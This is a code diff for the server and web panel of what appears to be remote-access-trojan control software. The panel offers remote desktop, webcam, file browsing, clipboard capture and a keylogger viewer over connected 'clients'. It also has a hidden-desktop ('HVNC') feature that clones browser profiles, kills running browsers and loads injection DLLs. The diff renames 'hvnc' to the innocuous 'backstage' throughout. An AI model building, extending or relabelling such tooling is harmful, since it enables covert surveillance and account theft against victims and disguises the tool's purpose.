{ key: "rdp", feature: "remote_desktop", label: "Remote Desktop", icon: "fa-display", color: "text-sky-400", href: (id) => `/remotedesktop?clientId=${id}` },
{ key: "files", feature: "file_browser", label: "File Browser", icon: "fa-folder-open", color: "text-cyan-400", href: (id) => `/${id}/files` },
{ key: "processes", feature: "processes", label: "Processes", icon: "fa-microchip", color: "text-orange-400", href: (id) => `/${id}/processes` },
+7 -7
View File
@@ -438,8 +438,8 @@ function applyMenuSupportRules(clientId) {
btn.title = enabled ? "" : reason;
};
const hvncBtn = menu.querySelector('[data-open="Backstage"]');
setAvailability(hvncBtn, isOnline && isWindows, isOnline ? "Backstage is only supported on Windows clients." : "Client is offline");
const backstageBtn = menu.querySelector('[data-open="Backstage"]');
setAvailability(backstageBtn, isOnline && isWindows, isOnline ? "Backstage is only supported on Windows clients." : "Client is offline");
const hiddenBtn = menu.querySelector('[data-open="Virtual"]');
setAvailability(hiddenBtn, isOnline && isWindows, isOnline ? "Virtual mode is only supported on Windows clients." : "Client is offline");
@@ -499,8 +499,8 @@ function applyMenuSupportRules(clientId) {
const MENU_OPEN_TO_FEATURE = {
console: "console",
remotedesktop: "remote_desktop",
Backstage: "hvnc",
Hidden: "hvnc",
Backstage: "backstage",
Hidden: "backstage",
webcam: "webcam",
files: "file_browser",
processes: "processes",
@@ -2055,14 +2055,14 @@ menu.addEventListener("click", async (e) => {
return;
}
if (open === "Backstage") {
window.open(`/hvnc?clientId=${contextCard}`, "_blank", "noopener");
window.open(`/backstage?clientId=${contextCard}`, "_blank", "noopener");
closeMenu(clearContext);
return;
}
if (open === "Virtual") {
// mode=hidden is understood by older hvnc.js builds; current builds treat
// mode=hidden is understood by older backstage.js builds; current builds treat
// it as the virtual-monitor mode compatibility alias.
window.open(`/hvnc?clientId=${contextCard}&mode=hidden`, "_blank", "noopener");
window.open(`/backstage?clientId=${contextCard}&mode=hidden`, "_blank", "noopener");
closeMenu(clearContext);
return;
}
@@ -423,7 +423,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
return {
display: Number(displaySelect?.value || 0),
streamProfile: streamProfileSelect?.value || "1080:60",
// Keep the legacy fields so HVNC and older remote-desktop builds that
// Keep the legacy fields so backstage and older remote-desktop builds that
// share these preferences continue to receive equivalent settings.
resolution: String(profile.maxHeight),
targetFps: String(profile.fps),
+1 -1
View File
@@ -538,7 +538,7 @@ window.configureClientAccess = async function (userId, username, role) {
const FEATURE_LABELS = {
console: { label: "Console", icon: "fa-terminal" },
remote_desktop: { label: "Remote Desktop", icon: "fa-desktop" },
hvnc: { label: "HVNC", icon: "fa-window-restore" },
backstage: { label: "backstage", icon: "fa-window-restore" },
webcam: { label: "Webcam", icon: "fa-video" },
file_browser: { label: "File Browser", icon: "fa-folder-open" },
processes: { label: "Processes", icon: "fa-microchip" },
@@ -114,9 +114,9 @@
</button>
</div>
<div class="flex items-center gap-2">
<label class="text-sm text-slate-300 w-20" for="hvncResolutionSelect">Resolution</label>
<label class="text-sm text-slate-300 w-20" for="backstageResolutionSelect">Resolution</label>
<select
id="hvncResolutionSelect"
id="backstageResolutionSelect"
class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100"
>
<option value="720">720p</option>
@@ -235,21 +235,21 @@
</div>
</div>
<div
id="hvncContextMenu"
id="backstageContextMenu"
class="hidden fixed z-50 min-w-[220px] max-h-[80vh] overflow-y-auto rounded-lg border border-slate-700 bg-slate-900/95 text-sm text-slate-200 shadow-xl"
>
<!-- Options -->
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Options</div>
<label class="flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
<input type="checkbox" id="hvncCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
<input type="checkbox" id="backstageCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
<span class="text-xs text-slate-300">Clone profile</span>
</label>
<label class="flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
<input type="checkbox" id="hvncCloneLiteToggle" class="accent-violet-500 w-4 h-4 rounded" />
<input type="checkbox" id="backstageCloneLiteToggle" class="accent-violet-500 w-4 h-4 rounded" />
<span class="text-xs text-slate-300">Lite clone (no extensions)</span>
</label>
<label class="flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
<input type="checkbox" id="hvncKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
<input type="checkbox" id="backstageKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
<span class="text-xs text-slate-300">Kill browser if running</span>
</label>
<div class="my-1 border-t border-slate-700/60"></div>
@@ -360,15 +360,15 @@
object-fit: contain;
margin: auto;
}
#hvncContextMenu.hidden {
#backstageContextMenu.hidden {
display: none;
}
#hvncContextMenu button.browser-unavailable {
#backstageContextMenu button.browser-unavailable {
opacity: 0.35;
pointer-events: none;
cursor: default;
}
#hvncContextMenu button.browser-unavailable::after {
#backstageContextMenu button.browser-unavailable::after {
content: " (not found)";
font-size: 0.65rem;
color: #94a3b8;
@@ -433,6 +433,6 @@
<script defer src="/vendor/msgpackr/msgpackr.js"></script>
<script defer src="/assets/remotedesktop-settings-menu.js"></script>
<script type="module" src="/assets/nav.js"></script>
<script type="module" src="/assets/hvnc.js"></script>
<script type="module" src="/assets/backstage.js"></script>
</body>
</html>
+25 -25
View File
@@ -93,34 +93,34 @@ import {
handleDesktopEncoderCapabilities,
handleConsoleViewerMessage,
handleConsoleViewerOpen,
handleHVNCViewerMessage,
handleHVNCViewerOpen,
handlebackstageViewerMessage,
handlebackstageViewerOpen,
handleWebcamViewerMessage,
handleWebcamViewerOpen,
handleWebcamDevices,
handleHVNCCloneProgress,
handleHVNCLookupResult,
handleHVNCBrowserCheckResult,
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleHVNCBrowserLaunchStatus,
handleHVNCWindowListResult,
handlebackstageCloneProgress,
handlebackstageLookupResult,
handlebackstageBrowserCheckResult,
handlebackstageInstalledAppsResult,
handlebackstageDXGIStatus,
handlebackstageBrowserLaunchStatus,
handlebackstageWindowListResult,
handleClipboardContent,
handleWebrtcP2PAnswer,
handleWebrtcP2PIce,
cleanupRdViewerP2P,
handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen,
hvncStreamingState,
backstageStreamingState,
notifyConsoleClosed,
notifyRdInputLatency,
notifyRemoteDesktopStatus,
rdStreamingState,
webcamStreamingState,
sendDesktopCommand,
sendHVNCCommand,
sendbackstageCommand,
stopConsoleOnTarget,
} from "./server/ws-console-rd-hvnc";
} from "./server/ws-console-rd-backstage";
import {
handleFileBrowserMessage as forwardFileBrowserMessage,
handleFileBrowserViewerMessage,
@@ -200,7 +200,7 @@ metrics.setSnapshotEnricher((snapshot) => {
notificationRateClients: notificationRate.size,
pendingNotificationScreenshots: pendingNotificationScreenshots.size,
rdStreamingClients: rdStreamingState.size,
hvncStreamingClients: hvncStreamingState.size,
backstageStreamingClients: backstageStreamingState.size,
webcamStreamingClients: webcamStreamingState.size,
},
};
@@ -414,7 +414,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
savePluginState,
});
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "notifications_viewer";
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "backstage_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "notifications_viewer";
type PendingScript = {
resolve: (result: any) => void;
@@ -591,13 +591,13 @@ async function startServer() {
pendingScripts,
pendingCommandReplies,
rdStreamingState,
hvncStreamingState,
backstageStreamingState,
webcamStreamingState,
getNotificationConfig,
handleConsoleViewerOpen,
handleRemoteDesktopViewerOpen,
handleWebcamViewerOpen,
handleHVNCViewerOpen,
handlebackstageViewerOpen,
handleFileBrowserViewerOpen,
handleProcessViewerOpen,
handleKeyloggerViewerOpen,
@@ -620,7 +620,7 @@ async function startServer() {
handleConsoleViewerMessage,
handleRemoteDesktopViewerMessage,
handleWebcamViewerMessage,
handleHVNCViewerMessage,
handlebackstageViewerMessage,
handleFileBrowserViewerMessage,
handleProcessViewerMessage,
handleKeyloggerViewerMessage,
@@ -674,13 +674,13 @@ async function startServer() {
handleVoiceUplink,
handleDesktopAudioUplink,
handleWebcamDevices,
handleHVNCCloneProgress,
handleHVNCLookupResult,
handleHVNCBrowserCheckResult,
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleHVNCBrowserLaunchStatus,
handleHVNCWindowListResult,
handlebackstageCloneProgress,
handlebackstageLookupResult,
handlebackstageBrowserCheckResult,
handlebackstageInstalledAppsResult,
handlebackstageDXGIStatus,
handlebackstageBrowserLaunchStatus,
handlebackstageWindowListResult,
handleClipboardContent,
handleWebrtcP2PAnswer,
handleWebrtcP2PIce,
@@ -689,7 +689,7 @@ async function startServer() {
cleanupDesktopAudioViewer,
stopConsoleOnTarget,
sendDesktopCommand,
sendHVNCCommand,
sendbackstageCommand,
notifyConsoleClosed,
clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots,
clearClientPluginState: notificationPluginHandlers.clearClientPluginState,
+2 -2
View File
@@ -46,7 +46,7 @@ describe("protocol encode/decode", () => {
monitor: 1,
fps: 24,
format: "h264",
hvnc: true,
backstage: true,
},
data: new Uint8Array([0, 0, 0, 1, 0x67, 0x42, 0xe0, 0x1e]),
};
@@ -56,7 +56,7 @@ describe("protocol encode/decode", () => {
expect(decoded.type).toBe("frame");
expect(decoded.header.format).toBe("h264");
expect(decoded.header.hvnc).toBe(true);
expect(decoded.header.backstage).toBe(true);
expect(decoded.header.monitor).toBe(1);
expect(decoded.header.fps).toBe(24);
expect(Array.from(decoded.data)).toEqual(Array.from(frame.data));
+1 -1
View File
@@ -190,7 +190,7 @@ export type FrameHeader = {
fps: number;
format: "jpeg" | "webp" | "raw" | "h264";
hash?: string;
hvnc?: boolean;
backstage?: boolean;
webcam?: boolean;
};
@@ -95,7 +95,7 @@ describe("/api/auth/me featurePermissions", () => {
expect(body.featurePermissions.webcam).toBe(false);
expect(body.featurePermissions.file_browser).toBe(false);
expect(body.featurePermissions.console).toBe(true);
expect(body.featurePermissions.hvnc).toBe(true);
expect(body.featurePermissions.backstage).toBe(true);
} finally {
deleteUser(auth.userId);
}
@@ -210,10 +210,10 @@ describe("/api/auth/feature-check", () => {
test("both feature and client denied returns both reasons", async () => {
const auth = await createTokenFor("operator");
try {
setUserFeaturePermission(auth.userId, "hvnc", false);
setUserFeaturePermission(auth.userId, "backstage", false);
// client_scope stays "none" => no access
const url = new URL("https://localhost/api/auth/feature-check?feature=hvnc&clientId=client-x");
const url = new URL("https://localhost/api/auth/feature-check?feature=backstage&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
@@ -275,7 +275,7 @@ function summarizeCpuProfile(profile: any, durationMs: number) {
const SHARED_UI_SETTING_FEATURES: Record<string, FeatureName> = {
remote_desktop: "remote_desktop",
hvnc: "hvnc",
backstage: "backstage",
webcam: "webcam",
};
@@ -332,7 +332,7 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, u
assignIfDefined(out, "smoothing", pickSteppedNumber(input.smoothing, 0, 80, 5));
assignIfDefined(out, "recordMode", pickString(input.recordMode, ["normal", "compact"]));
assignIfDefined(out, "recordFps", pickString(input.recordFps, ["", "3", "5", "10", "15", "30", "60"]));
} else if (scope === "hvnc") {
} else if (scope === "backstage") {
assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
assignIfDefined(out, "dxgi", pickBoolean(input.dxgi));
assignIfDefined(out, "uia", pickBoolean(input.uia));
@@ -103,7 +103,7 @@ const STATIC_PAGES: StaticPageDef[] = [
const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
{ path: "/remotedesktop", file: "remotedesktop.html" },
{ path: "/webcam", file: "webcam.html" },
{ path: "/hvnc", file: "hvnc.html" },
{ path: "/backstage", file: "backstage.html" },
{ path: "/voice", file: "voice.html" },
{ path: "/winre", file: "winre.html" },
];
@@ -24,7 +24,7 @@ export function issueWebrtcPublishToken(clientId: string): string {
return token;
}
export type WebrtcKind = "desktop" | "hvnc" | "webcam" | "audio";
export type WebrtcKind = "desktop" | "backstage" | "webcam" | "audio";
export function webrtcStreamPathFor(clientId: string, kind: WebrtcKind): string {
return `agents/${clientId}/${kind}`;
@@ -35,7 +35,7 @@ export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Respon
const rest = url.pathname.slice("/api/webrtc/".length);
// /api/webrtc/agents/<clientId>/<kind>/(whip|whep)[/<sessionId>]
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|hvnc|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|backstage|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
if (!match) return new Response("Not Found", { status: 404 });
const [, streamPath, kind, sessionSuffix] = match;
@@ -182,14 +182,14 @@ type WsLifecycleDeps = {
pendingScripts: Map<string, PendingScript>;
pendingCommandReplies: Map<string, PendingCommandReply>;
rdStreamingState: Map<string, unknown>;
hvncStreamingState: Map<string, unknown>;
backstageStreamingState: Map<string, unknown>;
webcamStreamingState: Map<string, unknown>;
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number; clipboardEnabled?: boolean };
handleDashboardViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleWebcamViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handlebackstageViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
@@ -201,7 +201,7 @@ type WsLifecycleDeps = {
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleWebcamViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handlebackstageViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
@@ -236,13 +236,13 @@ type WsLifecycleDeps = {
handleVoiceUplink: (clientId: string, payload: any) => void;
handleDesktopAudioUplink: (clientId: string, payload: any) => void;
handleWebcamDevices: (clientId: string, payload: any) => void;
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
handleHVNCLookupResult: (clientId: string, payload: any) => void;
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleHVNCBrowserLaunchStatus: (clientId: string, payload: any) => void;
handleHVNCWindowListResult: (clientId: string, payload: any) => void;
handlebackstageCloneProgress: (clientId: string, payload: any) => void;
handlebackstageLookupResult: (clientId: string, payload: any) => void;
handlebackstageBrowserCheckResult: (clientId: string, payload: any) => void;
handlebackstageInstalledAppsResult: (clientId: string, payload: any) => void;
handlebackstageDXGIStatus: (clientId: string, payload: any) => void;
handlebackstageBrowserLaunchStatus: (clientId: string, payload: any) => void;
handlebackstageWindowListResult: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
@@ -251,7 +251,7 @@ type WsLifecycleDeps = {
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
sendHVNCCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
sendbackstageCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
notifyConsoleClosed: (clientId: string, reason: string) => void;
clearPendingNotificationScreenshots: (clientId: string) => void;
clearClientPluginState: (clientId: string) => void;
@@ -327,7 +327,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws);
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
if (role === "backstage_viewer") return deps.handlebackstageViewerOpen(ws);
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
@@ -377,7 +377,7 @@ export async function handleWebSocketMessage(
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
if (socketRole === "webcam_viewer") return deps.handleWebcamViewerMessage(ws, message);
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
if (socketRole === "backstage_viewer") return deps.handlebackstageViewerMessage(ws, message);
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
@@ -641,7 +641,7 @@ export async function handleWebSocketMessage(
}
}
deps.rdStreamingState.delete(resolvedId);
deps.hvncStreamingState.delete(resolvedId);
deps.backstageStreamingState.delete(resolvedId);
deps.webcamStreamingState.delete(resolvedId);
}
@@ -899,26 +899,26 @@ export async function handleWebSocketMessage(
deps.handleWebcamDevices(client.id, payload);
deps.notifyDashboard();
break;
case "hvnc_clone_progress":
deps.handleHVNCCloneProgress(client.id, payload);
case "backstage_clone_progress":
deps.handlebackstageCloneProgress(client.id, payload);
break;
case "hvnc_lookup_result":
deps.handleHVNCLookupResult(client.id, payload);
case "backstage_lookup_result":
deps.handlebackstageLookupResult(client.id, payload);
break;
case "hvnc_browser_check_result":
deps.handleHVNCBrowserCheckResult(client.id, payload);
case "backstage_browser_check_result":
deps.handlebackstageBrowserCheckResult(client.id, payload);
break;
case "hvnc_installed_apps_result":
deps.handleHVNCInstalledAppsResult(client.id, payload);
case "backstage_installed_apps_result":
deps.handlebackstageInstalledAppsResult(client.id, payload);
break;
case "hvnc_dxgi_status":
deps.handleHVNCDXGIStatus(client.id, payload);
case "backstage_dxgi_status":
deps.handlebackstageDXGIStatus(client.id, payload);
break;
case "hvnc_browser_launch_status":
deps.handleHVNCBrowserLaunchStatus(client.id, payload);
case "backstage_browser_launch_status":
deps.handlebackstageBrowserLaunchStatus(client.id, payload);
break;
case "hvnc_window_list_result":
deps.handleHVNCWindowListResult(client.id, payload);
case "backstage_window_list_result":
deps.handlebackstageWindowListResult(client.id, payload);
break;
case "clipboard_content":
deps.handleClipboardContent(client.id, payload);
@@ -1028,26 +1028,26 @@ export function handleWebSocketClose(
return;
}
if (role === "hvnc_viewer") {
if (role === "backstage_viewer") {
deps.cleanupRdViewerP2P(ws);
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
for (const [sid, sess] of sessionManager.getAllbackstageSessions().entries()) {
if (sess.viewer === ws) {
removedClientId = sess.clientId;
sessionManager.deleteHvncSession(sid);
sessionManager.deletebackstageSession(sid);
break;
}
}
const stillViewing = sessionManager.hasHvncSessionsForClient(removedClientId);
const stillViewing = sessionManager.hasbackstageSessionsForClient(removedClientId);
if (!stillViewing) {
const target = clientManager.getClient(removedClientId);
if (target) {
deps.sendHVNCCommand(target, "hvnc_stop", {});
deps.sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" });
deps.sendbackstageCommand(target, "backstage_stop", {});
deps.sendbackstageCommand(target, "webrtc_stop", { kind: "backstage" });
}
deps.hvncStreamingState.delete(removedClientId);
logger.debug(`[hvnc] cleaned up state for client ${removedClientId}`);
deps.backstageStreamingState.delete(removedClientId);
logger.debug(`[backstage] cleaned up state for client ${removedClientId}`);
}
return;
}
@@ -1131,7 +1131,7 @@ export function handleWebSocketClose(
}
}
deps.rdStreamingState.delete(clientId);
deps.hvncStreamingState.delete(clientId);
deps.backstageStreamingState.delete(clientId);
deps.webcamStreamingState.delete(clientId);
stopRemoteDesktopRecording(clientId, "client disconnected");
@@ -92,9 +92,9 @@ const clientViewerUpgradeRoutes: ClientViewerUpgradeRoute[] = [
feature: "remote_desktop",
},
{
pattern: /^\/api\/clients\/(.+)\/hvnc\/ws$/,
role: "hvnc_viewer",
feature: "hvnc",
pattern: /^\/api\/clients\/(.+)\/backstage\/ws$/,
role: "backstage_viewer",
feature: "backstage",
},
{
pattern: /^\/api\/clients\/(.+)\/webcam\/ws$/,
@@ -2,7 +2,7 @@ import type { ServerWebSocket } from "bun";
import { v4 as uuidv4 } from "uuid";
import type { SocketData } from "../sessions/types";
export type P2PKind = "desktop" | "hvnc" | "webcam" | "audio";
export type P2PKind = "desktop" | "backstage" | "webcam" | "audio";
export type P2PSession = {
viewer: ServerWebSocket<SocketData>;
@@ -5,13 +5,13 @@ import * as sessionManager from "../sessions/sessionManager";
import type { SocketData } from "../sessions/types";
import type { ClientInfo } from "../types";
import {
handleHVNCViewerMessage,
handleHVNCViewerOpen,
handlebackstageViewerMessage,
handlebackstageViewerOpen,
handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen,
hvncStreamingState,
backstageStreamingState,
rdStreamingState,
} from "./ws-console-rd-hvnc";
} from "./ws-console-rd-backstage";
type MockWs = {
data: SocketData;
@@ -73,11 +73,11 @@ afterEach(() => {
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
sessionManager.deleteRdSession(session.id);
}
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
sessionManager.deleteHvncSession(session.id);
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
sessionManager.deletebackstageSession(session.id);
}
rdStreamingState.delete(clientId);
hvncStreamingState.delete(clientId);
backstageStreamingState.delete(clientId);
clientManager.deleteClient(clientId);
}
clientIdsToCleanup.clear();
@@ -158,14 +158,14 @@ describe("remote desktop viewer control", () => {
});
});
describe("hvnc viewer control", () => {
test("forwards hvnc_stop even when server stream state is stale", () => {
const clientId = `hvnc-stale-stop-${Date.now().toString(36)}`;
describe("backstage viewer control", () => {
test("forwards backstage_stop even when server stream state is stale", () => {
const clientId = `backstage-stale-stop-${Date.now().toString(36)}`;
const { agentWs } = createClient(clientId);
const viewer = createMockWs({ role: "hvnc_viewer", clientId });
const viewer = createMockWs({ role: "backstage_viewer", clientId });
handleHVNCViewerOpen(viewer as any);
hvncStreamingState.set(clientId, {
handlebackstageViewerOpen(viewer as any);
backstageStreamingState.set(clientId, {
isStreaming: false,
virtualMode: true,
display: 0,
@@ -175,11 +175,11 @@ describe("hvnc viewer control", () => {
lastFps: 0,
});
handleHVNCViewerMessage(viewer as any, JSON.stringify({ type: "hvnc_stop" }));
handlebackstageViewerMessage(viewer as any, JSON.stringify({ type: "backstage_stop" }));
const commands = agentCommands(agentWs);
expect(commands.filter((msg) => msg.commandType === "hvnc_stop")).toHaveLength(1);
expect(commands.filter((msg) => msg.commandType === "backstage_stop")).toHaveLength(1);
expect(commands.filter((msg) => msg.commandType === "webrtc_stop")).toHaveLength(1);
expect(hvncStreamingState.get(clientId)?.isStreaming).toBe(false);
expect(backstageStreamingState.get(clientId)?.isStreaming).toBe(false);
});
});
@@ -57,7 +57,7 @@ function getInjectionDllBytes(): Uint8Array | null {
}
_cachedInjectionDll = new Uint8Array(readFileSync(_dllCachePath));
_dllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
logger.info(`[backstage] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
return _cachedInjectionDll;
} catch {
_dllCachePath = null;
@@ -73,14 +73,14 @@ function getInjectionDllBytes(): Uint8Array | null {
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
_dllCachePath = dllPath;
_dllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
logger.info(`[backstage] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
return _cachedInjectionDll;
} catch {
continue;
}
}
logger.warn(`[hvnc] injection DLL not found. Checked: ${candidates.join(", ")}`);
logger.warn(`[backstage] injection DLL not found. Checked: ${candidates.join(", ")}`);
return null;
}
@@ -101,7 +101,7 @@ function getCaptureDllBytes(): Uint8Array | null {
}
_cachedCaptureDll = new Uint8Array(readFileSync(_captureDllCachePath));
_captureDllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
logger.info(`[backstage] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
return _cachedCaptureDll;
} catch {
_captureDllCachePath = null;
@@ -117,7 +117,7 @@ function getCaptureDllBytes(): Uint8Array | null {
_cachedCaptureDll = new Uint8Array(readFileSync(dllPath));
_captureDllCachePath = dllPath;
_captureDllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
logger.info(`[backstage] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
return _cachedCaptureDll;
} catch {
continue;
@@ -792,7 +792,7 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header
return broadcastRemoteDesktopFrame(clientId, bytes, header);
};
type HVNCStreamingState = {
type backstageStreamingState = {
isStreaming: boolean;
virtualMode: boolean;
display: number;
@@ -802,11 +802,11 @@ type HVNCStreamingState = {
lastFps: number;
};
function defaultHVNCStreamingState(): HVNCStreamingState {
function defaultbackstageStreamingState(): backstageStreamingState {
return { isStreaming: false, virtualMode: false, display: 0, quality: 90, codec: "", maxFps: 120, lastFps: 0 };
}
export const hvncStreamingState = new Map<string, HVNCStreamingState>();
export const backstageStreamingState = new Map<string, backstageStreamingState>();
export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean; quality: number; codec: string }>();
export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
@@ -850,10 +850,10 @@ export function handleWebcamDevices(clientId: string, payload: any) {
}
}
export function handleHVNCCloneProgress(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
export function handlebackstageCloneProgress(clientId: string, payload: any) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_clone_progress",
type: "backstage_clone_progress",
browser: String(payload.browser || ""),
percent: Number(payload.percent) || 0,
copiedBytes: Number(payload.copiedBytes) || 0,
@@ -863,10 +863,10 @@ export function handleHVNCCloneProgress(clientId: string, payload: any) {
}
}
export function handleHVNCLookupResult(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
export function handlebackstageLookupResult(clientId: string, payload: any) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_lookup_result",
type: "backstage_lookup_result",
exe: String(payload.exe || ""),
path: String(payload.path || ""),
done: !!payload.done,
@@ -874,22 +874,22 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
}
}
export function handleHVNCBrowserCheckResult(clientId: string, payload: any) {
export function handlebackstageBrowserCheckResult(clientId: string, payload: any) {
const browsers: Record<string, boolean> = {};
if (payload.browsers && typeof payload.browsers === "object") {
for (const [key, val] of Object.entries(payload.browsers)) {
browsers[key] = !!val;
}
}
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_browser_check_result",
type: "backstage_browser_check_result",
browsers,
});
}
}
export function handleHVNCInstalledAppsResult(clientId: string, payload: any) {
export function handlebackstageInstalledAppsResult(clientId: string, payload: any) {
const apps: Array<{ name: string; exePath: string; icon: string }> = [];
if (Array.isArray(payload.apps)) {
for (const app of payload.apps) {
@@ -900,19 +900,19 @@ export function handleHVNCInstalledAppsResult(clientId: string, payload: any) {
});
}
}
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_installed_apps_result",
type: "backstage_installed_apps_result",
apps,
done: !!payload.done,
});
}
}
